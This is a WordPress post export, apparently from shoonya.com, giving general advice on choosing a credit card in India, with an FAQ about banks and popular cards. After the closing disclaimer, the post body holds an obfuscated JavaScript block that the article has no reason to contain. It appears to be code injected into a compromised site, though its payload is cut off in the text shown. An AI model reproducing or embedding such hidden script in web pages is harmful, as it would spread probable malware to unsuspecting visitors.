id=\"How_to_Choose_the_Best_Credit_Card_in_India\"><\/span><strong>How to Choose the Best Credit Card in India<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here are some of the features you must watch out for before applying for the best credit card in India:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u2022 Credit Score<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The higher your credit score, the more likely you will get approved for a credit card and get better offers and rewards.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/shoonya.com\/blog\/factors-affecting-credit-score\/\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Check out the five reasons that might be affecting your credit score!<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u2022&nbsp; Annual Fee<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Some credit cards have no annual fee, while others may charge a high fee. You should compare the annual fee with the benefits that the credit card offers.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u2022&nbsp; Credit limit<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is the maximum amount of money that you can borrow from your credit card at any given time. It depends on your income, credit score, and other factors. You should choose a credit card with a credit limit that suits your spending habits and needs.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u2022&nbsp; Interest Rate<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is the rate of interest that you have to pay on the money that you borrow from your credit card. Some credit cards offer a low or zero interest rate for a certain period of time, such as 6 months or 12 months.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u2022&nbsp; Rewards<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Rewards are the benefits that you get from using your credit card. They can include points, miles, cashback, vouchers, discounts, or other perks. You should choose a credit card that offers rewards that match your preferences and lifestyle.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"15-faqs-best-credit-cards-for-salaried-persons-and-students-\"><span class=\"ez-toc-section\" id=\"FAQs_Best_Credit_Cards_for_Salaried_Persons_and_Students\"><\/span><strong>FAQs: Best Credit Cards for Salaried Persons and Students<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1732357708735\"><strong class=\"schema-faq-question\"><strong>Which Indian bank credit card is best?<\/strong><\/strong> <p class=\"schema-faq-answer\">Some of the best credit cards in India are from HDFC, SBI, ICICI, and Axis Bank. You can check the list of the top 10 credit cards to choose the one that suits the features you are looking for!<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1732357722397\"><strong class=\"schema-faq-question\"><strong>What are the 4 types of credit cards?<\/strong><\/strong> <p class=\"schema-faq-answer\">The four common types of credit cards are rewards cards, cashback cards, travel cards, and shopping cards.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1732357725957\"><strong class=\"schema-faq-question\"><strong>Which company card is best?<\/strong><\/strong> <p class=\"schema-faq-answer\">HDFC, SBI, ICICI, and Axis Bank offer some of the best credit cards in India.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1732357753371\"><strong class=\"schema-faq-question\"><strong>Which is the best card to use in India?<\/strong><\/strong> <p class=\"schema-faq-answer\">The best card depends on your spending habits, but HDFC Bank and SBI cards are popular for their rewards and benefits.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1732357759693\"><strong class=\"schema-faq-question\"><strong>What is the #1 credit card to have?<\/strong><\/strong> <p class=\"schema-faq-answer\">The HDFC Infinia Credit Card is often considered one of the top cards due to its high reward points and premium benefits.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1732357776132\"><strong class=\"schema-faq-question\"><strong>Which are <\/strong>the <strong>credit cards in India for salaried persons?<\/strong><\/strong> <p class=\"schema-faq-answer\">SBI Card Elite and HDFC Millennia are popular for salaried individuals, offering great cashback and rewards on everyday purchases.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1732357784877\"><strong class=\"schema-faq-question\"><strong>Which are the Best credit cards in India for travel, shopping, and dining?<\/strong><\/strong> <p class=\"schema-faq-answer\">Cards from HDFC, SBI, Yes Bank and Axis Bank are known for offering great perks on travel, shopping, and dining.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1732357796502\"><strong class=\"schema-faq-question\"><strong>Which credit card has the highest number of users in India?<\/strong><\/strong> <p class=\"schema-faq-answer\">HDFC Bank leads with 22405188 credit cards, topping the list of best credit card companies in India as of 2024.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1732357813805\"><strong class=\"schema-faq-question\"><strong>What are the primary benefits of a credit card?<\/strong><\/strong> <p class=\"schema-faq-answer\">Credit cards offer rewards like cashback, discounts on shopping, travel benefits, and access to exclusive events and offers.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><br>Source- <a href=\"https:\/\/www.rbi.org.in\/Scripts\/ATMView.aspx?atmid=152\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">rbi.org.in<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Let\u2019s find you the best credit card for your personal needs!&nbsp; Credit cards have become one of the most convenient and rewarding ways to pay today. With options like Google Pay, &hellip; <a href=\"https:\/\/shoonya.com\/blog\/best-credit-cards-in-india\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;10 Best Credit Cards in India: Earn Rewards, Save More, and Spend Smarter!&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":9920,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[11],"tags":[2944,4431,2945,2947,4432,2948,2943,2946],"class_list":["post-6107","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-personal-finance","tag-benefits-of-credit-card","tag-best-credit-card-company-in-india","tag-best-credit-card-for-online-shopping","tag-best-credit-card-for-salaried-persons","tag-best-credit-card-in-india-for-salaried-person","tag-best-credit-cards-for-students","tag-best-credit-cards-in-india","tag-top-10-credit-cards-in-india"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Best Credit Cards in India: Top Picks for 2024<\/title>\n<meta name=\"description\" content=\"Finding the best credit card can help you save more and earn rewards. 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